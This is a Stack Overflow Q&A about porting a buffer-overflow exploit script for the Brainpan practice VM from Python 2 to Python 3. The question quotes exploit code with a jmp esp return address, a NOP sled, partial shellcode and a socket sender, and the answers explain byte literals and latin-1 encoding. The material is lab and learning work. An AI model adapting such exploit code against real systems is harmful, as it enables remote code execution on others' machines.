Using python 3 as a buffer overflow instead of Python 2

Question

I am trying to use python3 instead of Python 2 to push a buffer overflow to Brainpan. Problem is python3 converts the bytes way differently. Does anyone know how to push the bytes In a simple way in python3 format?

Example code of the python2 code can be found at: http://blog.pentests.pl/2014/06/pentest-lab-brainpan-probably-the-fastest.html?m=1

Taken from page:

import sys,socket

eip = "\xf3\x12\x17\x31" #jmp esp address 0x311712f3
buf = "\x90"*10 #nop sled
buf += "\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
buf... {Code snipped}

payload = ("a"*524) + eip + buf

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect('192.168.0.xxx', 9999)

print s.recv(1024)
s.send(payload)
print s.recv(1024)

I've tried s.send(payload.encode()) with various encodings. Nothing works as far as I can tell.

what do you mean when you say it sends "way different" it should not ... one thing it does require is bytes instead of str though ... so i would hazard a guess it didnt send at all ... try s.send(bytes(payload)) — Joran Beasley
– Joran Beasley, Commented Aug 21, 2019 at 6:05
eip = "\xf3\x12\x17\x31" is not bytes, it is a str. Use actual bytes objects, so here you could do: eip = b"\xf3\x12\x17\x31", notice the b for a bytes literal. — juanpa.arrivillaga
– juanpa.arrivillaga, Commented Aug 21, 2019 at 6:08

Robert Price · Accepted Answer · 2019-08-21 06:05:18Z

3

Try using bytes literals such as

eip = b"\xf3\x12\x17\x31"
buf = b"\x90"*10
buf += b"\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"

and bypass the need for encoding altogether.

answered Aug 21, 2019 at 6:05

Robert Price

6414 silver badges11 bronze badges

Sign up to request clarification or add additional context in comments.

4 Comments

MaxNoe Over a year ago

If appending is done a lot and not just in this one line, bytearray will be much more efficient.

Robert Cotterman Over a year ago

I tried this with no go. But I will try again tonight during my next practice session.

Robert Cotterman Over a year ago

I swear I tried this and it didn't work. Anyhow I just retried and it totally worked. Thank you.

Robert Cotterman Over a year ago

after more research this DOESN'T work (technically) as python3 adds the b'' header parts around the text, so you get 2 extra bytes at the beginning and 1 at the end.

Ivan · Accepted Answer · 2020-03-13 09:30:45Z

0

I had the same error but in addition found that any character after \x7F was mangled after the bad character testing; Python 3 seem to insert random \xC2 or \xC3 before each char. What worked was to either use byte literals throughout or .encode('latin-1'). There's feedback that latin-1 encoding doesn't always work, see here, but I didn't encounter issues with byte literals.

EDIT: You might find these usefull too. Both use Latin-1 encoding for Python 3. http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Buffer_Overflow/Buffer_Overflow.pdf https://blog.lab26.net/vulnerable-vm-walkthrough-brainpan-1-binary-exploitation/

edited Mar 13, 2020 at 9:30

answered Mar 12, 2020 at 16:05

Ivan

891 gold badge3 silver badges9 bronze badges

Collectives™ on Stack Overflow

Using python 3 as a buffer overflow instead of Python 2

2 Answers 2

4 Comments

Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

2 Answers 2

4 Comments

Comments

Your Answer

Sign up or log in

Post as a guest

Related